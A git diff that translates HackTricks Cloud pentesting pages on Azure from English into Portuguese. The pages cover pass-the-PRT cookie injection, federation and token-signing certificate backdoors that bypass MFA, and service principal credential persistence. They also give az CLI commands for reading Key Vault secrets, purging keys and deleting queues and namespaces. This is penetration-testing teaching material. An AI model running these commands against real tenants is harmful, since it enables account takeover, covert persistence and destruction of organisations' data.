-- Go to [https://login.microsoftonline.com](https://login.microsoftonline.com), clear all cookies for login.microsoftonline.com and enter a new cookie. - +- Vá para [https://login.microsoftonline.com](https://login.microsoftonline.com), limpe todos os cookies para login.microsoftonline.com e insira um novo cookie. ``` Name: x-ms-RefreshTokenCredential Value: [Paste your output from above] Path: / HttpOnly: Set to True (checked) ``` - -- Then go to [https://portal.azure.com](https://portal.azure.com) +- Em seguida, vá para [https://portal.azure.com](https://portal.azure.com) > [!CAUTION] -> The rest should be the defaults. Make sure you can refresh the page and the cookie doesn’t disappear, if it does, you may have made a mistake and have to go through the process again. If it doesn’t, you should be good. +> O restante deve ser os padrões. Certifique-se de que você pode atualizar a página e o cookie não desaparece; se desaparecer, você pode ter cometido um erro e terá que passar pelo processo novamente. Se não desaparecer, você deve estar bem. -#### Option 2 - roadrecon using PRT - -- Renew the PRT first, which will save it in `roadtx.prt`: +#### Opção 2 - roadrecon usando PRT +- Renove o PRT primeiro, o que o salvará em `roadtx.prt`: ```bash roadtx prt -a renew --prt --prt-sessionkey ``` - -- Now we can **request tokens** using the interactive browser with `roadtx browserprtauth`. If we use the `roadtx describe` command, we see the access token includes an MFA claim because the PRT I used in this case also had an MFA claim. - +- Agora podemos **solicitar tokens** usando o navegador interativo com `roadtx browserprtauth`. Se usarmos o comando `roadtx describe`, veremos que o token de acesso inclui uma reivindicação de MFA porque o PRT que usei neste caso também tinha uma reivindicação de MFA. ```bash roadtx browserprtauth roadtx describe < .roadtools_auth ``` -
-#### Option 3 - roadrecon using derived keys - -Having the context and the derived key dumped by mimikatz, it's possible to use roadrecon to generate a new signed cookie with: +#### Opção 3 - roadrecon usando chaves derivadas +Tendo o contexto e a chave derivada despejada pelo mimikatz, é possível usar o roadrecon para gerar um novo cookie assinado com: ```bash roadrecon auth --prt-cookie --prt-context --derives-key ``` - -## References +## Referências - [https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/](https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/) - [https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) - [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-persistence/README.md b/src/pentesting-cloud/azure-security/az-persistence/README.md index e418fb5e6..3fa7e9357 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/README.md +++ b/src/pentesting-cloud/azure-security/az-persistence/README.md @@ -2,54 +2,45 @@ {{#include ../../../banners/hacktricks-training.md}} -### Illicit Consent Grant +### Concessão de Consentimento Ilícito -By default, any user can register an application in Azure AD. So you can register an application (only for the target tenant) that needs high impact permissions with admin consent (an approve it if you are the admin) - like sending mail on a user's behalf, role management etc.T his will allow us to **execute phishing attacks** that would be very **fruitful** in case of success. +Por padrão, qualquer usuário pode registrar um aplicativo no Azure AD. Assim, você pode registrar um aplicativo (apenas para o locatário alvo) que precisa de permissões de alto impacto com consentimento do administrador (e aprová-lo se você for o administrador) - como enviar e-mails em nome de um usuário, gerenciamento de funções, etc. Isso nos permitirá **executar ataques de phishing** que seriam muito **frutíferos** em caso de sucesso. -Moreover, you could also accept that application with your user as a way to maintain access over it. +Além disso, você também poderia aceitar esse aplicativo com seu usuário como uma forma de manter o acesso sobre ele. -### Applications and Service Principals +### Aplicativos e Principais de Serviço -With privileges of Application Administrator, GA or a custom role with microsoft.directory/applications/credentials/update permissions, we can add credentials (secret or certificate) to an existing application. +Com privilégios de Administrador de Aplicativos, GA ou um papel personalizado com permissões microsoft.directory/applications/credentials/update, podemos adicionar credenciais (secreto ou certificado) a um aplicativo existente. -It's possible to **target an application with high permissions** or **add a new application** with high permissions. +É possível **mirar em um aplicativo com altas permissões** ou **adicionar um novo aplicativo** com altas permissões. -An interesting role to add to the application would be **Privileged authentication administrator role** as it allows to **reset password** of Global Administrators. - -This technique also allows to **bypass MFA**. +Um papel interessante para adicionar ao aplicativo seria o **papel de administrador de autenticação privilegiada**, pois permite **reiniciar a senha** de Administradores Globais. +Essa técnica também permite **contornar a MFA**. ```powershell $passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd) Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a ``` - -- For certificate based authentication - +- Para autenticação baseada em certificado ```powershell Connect-AzAccount -ServicePrincipal -Tenant -CertificateThumbprint -ApplicationId ``` +### Federação - Certificado de Assinatura de Token -### Federation - Token Signing Certificate - -With **DA privileges** on on-prem AD, it is possible to create and import **new Token signing** and **Token Decrypt certificates** that have a very long validity. This will allow us to **log-in as any user** whose ImuutableID we know. - -**Run** the below command as **DA on the ADFS server(s)** to create new certs (default password 'AADInternals'), add them to ADFS, disable auto rollver and restart the service: +Com **privilégios de DA** no AD local, é possível criar e importar **novos certificados de assinatura de Token** e **certificados de descriptografia de Token** que têm uma validade muito longa. Isso nos permitirá **fazer login como qualquer usuário** cujo ImuutableID conhecemos. +**Execute** o comando abaixo como **DA no(s) servidor(es) ADFS** para criar novos certificados (senha padrão 'AADInternals'), adicioná-los ao ADFS, desativar a rotação automática e reiniciar o serviço: ```powershell New-AADIntADFSSelfSignedCertificates ``` - -Then, update the certificate information with Azure AD: - +Então, atualize as informações do certificado com o Azure AD: ```powershell Update-AADIntADFSFederationSettings -Domain cyberranges.io ``` +### Federação - Domínio Confiável -### Federation - Trusted Domain - -With GA privileges on a tenant, it's possible to **add a new domain** (must be verified), configure its authentication type to Federated and configure the domain to **trust a specific certificate** (any.sts in the below command) and issuer: - +Com privilégios de GA em um locatário, é possível **adicionar um novo domínio** (deve ser verificado), configurar seu tipo de autenticação como Federado e configurar o domínio para **confiar em um certificado específico** (any.sts no comando abaixo) e emissor: ```powershell # Using AADInternals ConvertTo-AADIntBackdoor -DomainName cyberranges.io @@ -60,13 +51,8 @@ Get-MsolUser | select userPrincipalName,ImmutableID # Access any cloud app as the user Open-AADIntOffice365Portal -ImmutableID qIMPTm2Q3kimHgg4KQyveA== -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA$true ``` - -## References +## Referências - [https://aadinternalsbackdoor.azurewebsites.net/](https://aadinternalsbackdoor.azurewebsites.net/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md b/src/pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md index 7fda7614d..02827706a 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md @@ -1,19 +1,18 @@ -# Az - Queue Storage Persistence +# Az - Persistência de Armazenamento em Fila {{#include ../../../banners/hacktricks-training.md}} -## Queue +## Fila -For more information check: +Para mais informações, consulte: {{#ref}} ../az-services/az-queue-enum.md {{#endref}} -### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/write` - -This permission allows an attacker to create or modify queues and their properties within the storage account. It can be used to create unauthorized queues, modify metadata, or change access control lists (ACLs) to grant or restrict access. This capability could disrupt workflows, inject malicious data, exfiltrate sensitive information, or manipulate queue settings to enable further attacks. +### Ações: `Microsoft.Storage/storageAccounts/queueServices/queues/write` +Esta permissão permite que um atacante crie ou modifique filas e suas propriedades dentro da conta de armazenamento. Pode ser usada para criar filas não autorizadas, modificar metadados ou alterar listas de controle de acesso (ACLs) para conceder ou restringir acesso. Essa capacidade pode interromper fluxos de trabalho, injetar dados maliciosos, exfiltrar informações sensíveis ou manipular configurações de fila para permitir novos ataques. ```bash az storage queue create --name --account-name @@ -21,15 +20,10 @@ az storage queue metadata update --name --metadata key1=value1 key2 az storage queue policy set --name --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name ``` +## Referências -## References - -- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues -- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api -- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes +- https://learn.microsoft.com/pt-br/azure/storage/queues/storage-powershell-how-to-use-queues +- https://learn.microsoft.com/pt-br/rest/api/storageservices/queue-service-rest-api +- https://learn.microsoft.com/pt-br/azure/storage/queues/queues-auth-abac-attributes {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md index 95dedb925..37cdac0f1 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md @@ -4,42 +4,34 @@ ## Storage Privesc -For more information about storage check: +Para mais informações sobre armazenamento, consulte: {{#ref}} ../az-services/az-storage.md {{#endref}} -### Common tricks +### Truques comuns -- Keep the access keys -- Generate SAS - - User delegated are 7 days max +- Mantenha as chaves de acesso +- Gere SAS +- Usuário delegado tem um máximo de 7 dias ### Microsoft.Storage/storageAccounts/blobServices/containers/update && Microsoft.Storage/storageAccounts/blobServices/deletePolicy/write -These permissions allows the user to modify blob service properties for the container delete retention feature, which enables or configures the retention period for deleted containers. These permissions can be used for maintaining persistence to provide a window of opportunity for the attacker to recover or manipulate deleted containers that should have been permanently removed and accessing sensitive information. - +Essas permissões permitem que o usuário modifique as propriedades do serviço de blob para o recurso de retenção de exclusão de contêiner, que habilita ou configura o período de retenção para contêineres excluídos. Essas permissões podem ser usadas para manter a persistência e fornecer uma janela de oportunidade para o atacante recuperar ou manipular contêineres excluídos que deveriam ter sido removidos permanentemente e acessar informações sensíveis. ```bash az storage account blob-service-properties update \ - --account-name \ - --enable-container-delete-retention true \ - --container-delete-retention-days 100 +--account-name \ +--enable-container-delete-retention true \ +--container-delete-retention-days 100 ``` - ### Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action -These permissions can lead to the attacker to modify the retention policies, restoring deleted data, and accessing sensitive information. - +Essas permissões podem levar o atacante a modificar as políticas de retenção, restaurar dados excluídos e acessar informações sensíveis. ```bash az storage blob service-properties delete-policy update \ - --account-name \ - --enable true \ - --days-retained 100 +--account-name \ +--enable true \ +--days-retained 100 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md index 8d020a39e..4937e22d9 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md @@ -2,28 +2,24 @@ {{#include ../../../banners/hacktricks-training.md}} -## VMs persistence +## Persistência de VMs -For more information about VMs check: +Para mais informações sobre VMs, consulte: {{#ref}} ../az-services/vms/ {{#endref}} -### Backdoor VM applications, VM Extensions & Images +### Aplicações, Extensões e Imagens de VM com Backdoor -An attacker identifies applications, extensions or images being frequently used in the Azure account, he could insert his code in VM applications and extensions so every time they get installed the backdoor is executed. +Um atacante identifica aplicações, extensões ou imagens que estão sendo frequentemente usadas na conta do Azure, ele poderia inserir seu código nas aplicações e extensões de VM para que toda vez que fossem instaladas, a backdoor fosse executada. -### Backdoor Instances +### Instâncias com Backdoor -An attacker could get access to the instances and backdoor them: +Um atacante poderia acessar as instâncias e backdoor elas: -- Using a traditional **rootkit** for example -- Adding a new **public SSH key** (check [EC2 privesc options](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc)) -- Backdooring the **User Data** +- Usando um **rootkit** tradicional, por exemplo +- Adicionando uma nova **chave SSH pública** (ver [opções de privesc do EC2](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc)) +- Backdooring os **Dados do Usuário** {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md index 53b20671b..24595b05f 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md @@ -1,6 +1 @@ -# Az - Post Exploitation - - - - - +# Az - Pós Exploração diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md index 9c3d0b8c6..cb45f77e2 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md @@ -4,7 +4,7 @@ ## Storage Privesc -For more information about storage check: +Para mais informações sobre armazenamento, consulte: {{#ref}} ../az-services/az-storage.md @@ -12,38 +12,30 @@ For more information about storage check: ### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read -A principal with this permission will be able to **list** the blobs (files) inside a container and **download** the files which might contain **sensitive information**. - +Um principal com esta permissão poderá **listar** os blobs (arquivos) dentro de um contêiner e **baixar** os arquivos que podem conter **informações sensíveis**. ```bash # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read az storage blob list \ - --account-name \ - --container-name --auth-mode login +--account-name \ +--container-name --auth-mode login az storage blob download \ - --account-name \ - --container-name \ - -n file.txt --auth-mode login +--account-name \ +--container-name \ +-n file.txt --auth-mode login ``` - ### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write -A principal with this permission will be able to **write and overwrite files in containers** which might allow him to cause some damage or even escalate privileges (e.g. overwrite some code stored in a blob): - +Um principal com esta permissão poderá **escrever e sobrescrever arquivos em contêineres**, o que pode permitir que ele cause algum dano ou até mesmo escale privilégios (por exemplo, sobrescrever algum código armazenado em um blob): ```bash # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write az storage blob upload \ - --account-name \ - --container-name \ - --file /tmp/up.txt --auth-mode login --overwrite +--account-name \ +--container-name \ +--file /tmp/up.txt --auth-mode login --overwrite ``` - ### \*/delete -This would allow to delete objects inside the storage account which might **interrupt some services** or make the client **lose valuable information**. +Isso permitiria excluir objetos dentro da conta de armazenamento, o que poderia **interromper alguns serviços** ou fazer com que o cliente **perdesse informações valiosas**. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md index b3d3cf90f..1105b0f23 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md @@ -2,9 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -File Share Post Exploitation +Exploração Pós-Exploração de Compartilhamento de Arquivos -For more information about file shares check: +Para mais informações sobre compartilhamentos de arquivos, consulte: {{#ref}} ../az-services/az-file-shares.md @@ -12,41 +12,33 @@ For more information about file shares check: ### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read -A principal with this permission will be able to **list** the files inside a file share and **download** the files which might contain **sensitive information**. - +Um principal com esta permissão poderá **listar** os arquivos dentro de um compartilhamento de arquivos e **baixar** os arquivos que podem conter **informações sensíveis**. ```bash # List files inside an azure file share az storage file list \ - --account-name \ - --share-name \ - --auth-mode login --enable-file-backup-request-intent +--account-name \ +--share-name \ +--auth-mode login --enable-file-backup-request-intent # Download an specific file az storage file download \ - --account-name \ - --share-name \ - --path \ - --dest /path/to/down \ - --auth-mode login --enable-file-backup-request-intent +--account-name \ +--share-name \ +--path \ +--dest /path/to/down \ +--auth-mode login --enable-file-backup-request-intent ``` - ### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write, Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action -A principal with this permission will be able to **write and overwrite files in file shares** which might allow him to cause some damage or even escalate privileges (e.g. overwrite some code stored in a file share): - +Um principal com esta permissão poderá **escrever e sobrescrever arquivos em compartilhamentos de arquivos**, o que pode permitir que ele cause algum dano ou até mesmo escale privilégios (por exemplo, sobrescrever algum código armazenado em um compartilhamento de arquivos): ```bash az storage blob upload \ - --account-name \ - --container-name \ - --file /tmp/up.txt --auth-mode login --overwrite +--account-name \ +--container-name \ +--file /tmp/up.txt --auth-mode login --overwrite ``` - ### \*/delete -This would allow to delete file inside the shared filesystem which might **interrupt some services** or make the client **lose valuable information**. +Isso permitiria deletar arquivos dentro do sistema de arquivos compartilhado, o que poderia **interromper alguns serviços** ou fazer com que o cliente **perdesse informações valiosas**. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md index e511ad994..cc0aca917 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md @@ -1,21 +1,17 @@ -# Az - Function Apps Post Exploitation +# Az - Function Apps Pós Exploração {{#include ../../../banners/hacktricks-training.md}} -## Funciton Apps Post Exploitaiton +## Funciton Apps Pós Exploração -For more information about function apps check: +Para mais informações sobre function apps, consulte: {{#ref}} ../az-services/az-function-apps.md {{#endref}} -> [!CAUTION] > **Function Apps post exploitation tricks are very related to the privilege escalation tricks** so you can find all of them there: +> [!CAUTION] > **As técnicas de pós-exploração de Function Apps estão muito relacionadas às técnicas de escalonamento de privilégios**, então você pode encontrá-las todas lá: {{#ref}} ../az-privilege-escalation/az-functions-app-privesc.md {{#endref}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md index d9357b643..2e5709702 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md @@ -1,10 +1,10 @@ -# Az - Key Vault Post Exploitation +# Az - Key Vault Pós Exploração {{#include ../../../banners/hacktricks-training.md}} ## Azure Key Vault -For more information about this service check: +Para mais informações sobre este serviço, consulte: {{#ref}} ../az-services/keyvault.md @@ -12,27 +12,22 @@ For more information about this service check: ### Microsoft.KeyVault/vaults/secrets/getSecret/action -This permission will allow a principal to read the secret value of secrets: - +Esta permissão permitirá que um principal leia o valor secreto dos segredos: ```bash az keyvault secret show --vault-name --name # Get old version secret value az keyvault secret show --id https://.vault.azure.net/secrets// ``` - ### **Microsoft.KeyVault/vaults/certificates/purge/action** -This permission allows a principal to permanently delete a certificate from the vault. - +Esta permissão permite que um principal exclua permanentemente um certificado do cofre. ```bash az keyvault certificate purge --vault-name --name ``` - ### **Microsoft.KeyVault/vaults/keys/encrypt/action** -This permission allows a principal to encrypt data using a key stored in the vault. - +Esta permissão permite que um principal encripte dados usando uma chave armazenada no cofre. ```bash az keyvault key encrypt --vault-name --name --algorithm --value @@ -40,76 +35,55 @@ az keyvault key encrypt --vault-name --name --algorithm echo "HackTricks" | base64 # SGFja1RyaWNrcwo= az keyvault key encrypt --vault-name testing-1231234 --name testing --algorithm RSA-OAEP-256 --value SGFja1RyaWNrcwo= ``` - ### **Microsoft.KeyVault/vaults/keys/decrypt/action** -This permission allows a principal to decrypt data using a key stored in the vault. - +Esta permissão permite que um principal decripte dados usando uma chave armazenada no cofre. ```bash az keyvault key decrypt --vault-name --name --algorithm --value # Example az keyvault key decrypt --vault-name testing-1231234 --name testing --algorithm RSA-OAEP-256 --value "ISZ+7dNcDJXLPR5MkdjNvGbtYK3a6Rg0ph/+3g1IoUrCwXnF791xSF0O4rcdVyyBnKRu0cbucqQ/+0fk2QyAZP/aWo/gaxUH55pubS8Zjyw/tBhC5BRJiCtFX4tzUtgTjg8lv3S4SXpYUPxev9t/9UwUixUlJoqu0BgQoXQhyhP7PfgAGsxayyqxQ8EMdkx9DIR/t9jSjv+6q8GW9NFQjOh70FCjEOpYKy9pEGdLtPTrirp3fZXgkYfIIV77TXuHHdR9Z9GG/6ge7xc9XT6X9ciE7nIXNMQGGVCcu3JAn9BZolb3uL7PBCEq+k2rH4tY0jwkxinM45tg38Re2D6CEA==" # This is the result from the previous encryption ``` - ### **Microsoft.KeyVault/vaults/keys/purge/action** -This permission allows a principal to permanently delete a key from the vault. - +Esta permissão permite que um principal exclua permanentemente uma chave do cofre. ```bash az keyvault key purge --vault-name --name ``` - ### **Microsoft.KeyVault/vaults/secrets/purge/action** -This permission allows a principal to permanently delete a secret from the vault. - +Esta permissão permite que um principal exclua permanentemente um segredo do cofre. ```bash az keyvault secret purge --vault-name --name ``` - ### **Microsoft.KeyVault/vaults/secrets/setSecret/action** -This permission allows a principal to create or update a secret in the vault. - +Esta permissão permite que um principal crie ou atualize um segredo no cofre. ```bash az keyvault secret set --vault-name --name --value ``` - ### **Microsoft.KeyVault/vaults/certificates/delete** -This permission allows a principal to delete a certificate from the vault. The certificate is moved to the "soft-delete" state, where it can be recovered unless purged. - +Esta permissão permite que um principal exclua um certificado do cofre. O certificado é movido para o estado de "exclusão suave", onde pode ser recuperado, a menos que seja eliminado. ```bash az keyvault certificate delete --vault-name --name ``` - ### **Microsoft.KeyVault/vaults/keys/delete** -This permission allows a principal to delete a key from the vault. The key is moved to the "soft-delete" state, where it can be recovered unless purged. - +Esta permissão permite que um principal exclua uma chave do cofre. A chave é movida para o estado de "exclusão suave", onde pode ser recuperada, a menos que seja eliminada. ```bash az keyvault key delete --vault-name --name ``` - ### **Microsoft.KeyVault/vaults/secrets/delete** -This permission allows a principal to delete a secret from the vault. The secret is moved to the "soft-delete" state, where it can be recovered unless purged. - +Esta permissão permite que um principal exclua um segredo do cofre. O segredo é movido para o estado de "exclusão suave", onde pode ser recuperado, a menos que seja eliminado. ```bash az keyvault secret delete --vault-name --name ``` - ### Microsoft.KeyVault/vaults/secrets/restore/action -This permission allows a principal to restore a secret from a backup. - +Esta permissão permite que um principal restaure um segredo de um backup. ```bash az keyvault secret restore --vault-name --file ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md index 03c59a8d5..e136f18df 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md @@ -1,10 +1,10 @@ -# Az - Queue Storage Post Exploitation +# Az - Queue Storage Pós Exploração {{#include ../../../banners/hacktricks-training.md}} -## Queue +## Fila -For more information check: +Para mais informações, consulte: {{#ref}} ../az-services/az-queue-enum.md @@ -12,66 +12,53 @@ For more information check: ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/read` -An attacker with this permission can peek messages from an Azure Storage Queue. This allows the attacker to view the content of messages without marking them as processed or altering their state. This could lead to unauthorized access to sensitive information, enabling data exfiltration or gathering intelligence for further attacks. - +Um atacante com esta permissão pode visualizar mensagens de uma Azure Storage Queue. Isso permite que o atacante veja o conteúdo das mensagens sem marcá-las como processadas ou alterar seu estado. Isso pode levar ao acesso não autorizado a informações sensíveis, possibilitando a exfiltração de dados ou a coleta de inteligência para ataques futuros. ```bash az storage message peek --queue-name --account-name ``` - -**Potential Impact**: Unauthorized access to the queue, message exposure, or queue manipulation by unauthorized users or services. +**Impacto Potencial**: Acesso não autorizado à fila, exposição de mensagens ou manipulação da fila por usuários ou serviços não autorizados. ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/process/action` -With this permission, an attacker can retrieve and process messages from an Azure Storage Queue. This means they can read the message content and mark it as processed, effectively hiding it from legitimate systems. This could lead to sensitive data being exposed, disruptions in how messages are handled, or even stopping important workflows by making messages unavailable to their intended users. - +Com esta permissão, um atacante pode recuperar e processar mensagens de uma Azure Storage Queue. Isso significa que eles podem ler o conteúdo da mensagem e marcá-la como processada, efetivamente ocultando-a de sistemas legítimos. Isso pode levar à exposição de dados sensíveis, interrupções na forma como as mensagens são tratadas ou até mesmo parar fluxos de trabalho importantes ao tornar mensagens indisponíveis para seus usuários pretendidos. ```bash az storage message get --queue-name --account-name ``` - ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/add/action` -With this permission, an attacker can add new messages to an Azure Storage Queue. This allows them to inject malicious or unauthorized data into the queue, potentially triggering unintended actions or disrupting downstream services that process the messages. - +Com essa permissão, um atacante pode adicionar novas mensagens a uma Azure Storage Queue. Isso permite que eles injetem dados maliciosos ou não autorizados na fila, potencialmente acionando ações não intencionais ou interrompendo serviços subsequentes que processam as mensagens. ```bash az storage message put --queue-name --content "Injected malicious message" --account-name ``` - ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/write` -This permission allows an attacker to add new messages or update existing ones in an Azure Storage Queue. By using this, they could insert harmful content or alter existing messages, potentially misleading applications or causing undesired behaviors in systems that rely on the queue. - +Esta permissão permite que um atacante adicione novas mensagens ou atualize as existentes em uma Azure Storage Queue. Ao usar isso, eles poderiam inserir conteúdo prejudicial ou alterar mensagens existentes, potencialmente enganando aplicativos ou causando comportamentos indesejados em sistemas que dependem da fila. ```bash az storage message put --queue-name --content "Injected malicious message" --account-name #Update the message az storage message update --queue-name \ - --id \ - --pop-receipt \ - --content "Updated message content" \ - --visibility-timeout \ - --account-name +--id \ +--pop-receipt \ +--content "Updated message content" \ +--visibility-timeout \ +--account-name ``` +### Ações: `Microsoft.Storage/storageAccounts/queueServices/queues/delete` -### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/delete` - -This permission allows an attacker to delete queues within the storage account. By leveraging this capability, an attacker can permanently remove queues and all their associated messages, causing significant disruption to workflows and resulting in critical data loss for applications that rely on the affected queues. This action can also be used to sabotage services by removing essential components of the system. - +Esta permissão permite que um atacante exclua filas dentro da conta de armazenamento. Ao aproveitar essa capacidade, um atacante pode remover permanentemente filas e todas as suas mensagens associadas, causando uma interrupção significativa nos fluxos de trabalho e resultando em perda crítica de dados para aplicativos que dependem das filas afetadas. Esta ação também pode ser usada para sabotar serviços, removendo componentes essenciais do sistema. ```bash az storage queue delete --name --account-name ``` - ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/delete` -With this permission, an attacker can clear all messages from an Azure Storage Queue. This action removes all messages, disrupting workflows and causing data loss for systems dependent on the queue. - +Com esta permissão, um atacante pode limpar todas as mensagens de uma Azure Storage Queue. Esta ação remove todas as mensagens, interrompendo fluxos de trabalho e causando perda de dados para sistemas dependentes da fila. ```bash az storage message clear --queue-name --account-name ``` +### Ações: `Microsoft.Storage/storageAccounts/queueServices/queues/write` -### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/write` - -This permission allows an attacker to create or modify queues and their properties within the storage account. It can be used to create unauthorized queues, modify metadata, or change access control lists (ACLs) to grant or restrict access. This capability could disrupt workflows, inject malicious data, exfiltrate sensitive information, or manipulate queue settings to enable further attacks. - +Esta permissão permite que um atacante crie ou modifique filas e suas propriedades dentro da conta de armazenamento. Pode ser usada para criar filas não autorizadas, modificar metadados ou alterar listas de controle de acesso (ACLs) para conceder ou restringir acesso. Essa capacidade pode interromper fluxos de trabalho, injetar dados maliciosos, exfiltrar informações sensíveis ou manipular configurações de fila para permitir novos ataques. ```bash az storage queue create --name --account-name @@ -79,15 +66,10 @@ az storage queue metadata update --name --metadata key1=value1 key2 az storage queue policy set --name --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name ``` +## Referências -## References - -- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues -- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api -- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes +- https://learn.microsoft.com/pt-br/azure/storage/queues/storage-powershell-how-to-use-queues +- https://learn.microsoft.com/pt-br/rest/api/storageservices/queue-service-rest-api +- https://learn.microsoft.com/pt-br/azure/storage/queues/queues-auth-abac-attributes {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md index 2fdb2dc55..55f93d47a 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md @@ -1,103 +1,83 @@ -# Az - Service Bus Post Exploitation +# Az - Service Bus Pós Exploração {{#include ../../../banners/hacktricks-training.md}} ## Service Bus -For more information check: +Para mais informações, consulte: {{#ref}} ../az-services/az-servicebus-enum.md {{#endref}} -### Actions: `Microsoft.ServiceBus/namespaces/Delete` - -An attacker with this permission can delete an entire Azure Service Bus namespace. This action removes the namespace and all associated resources, including queues, topics, subscriptions, and their messages, causing widespread disruption and permanent data loss across all dependent systems and workflows. +### Ações: `Microsoft.ServiceBus/namespaces/Delete` +Um atacante com esta permissão pode excluir todo um namespace do Azure Service Bus. Esta ação remove o namespace e todos os recursos associados, incluindo filas, tópicos, assinaturas e suas mensagens, causando ampla interrupção e perda permanente de dados em todos os sistemas e fluxos de trabalho dependentes. ```bash az servicebus namespace delete --resource-group --name ``` +### Ações: `Microsoft.ServiceBus/namespaces/topics/Delete` -### 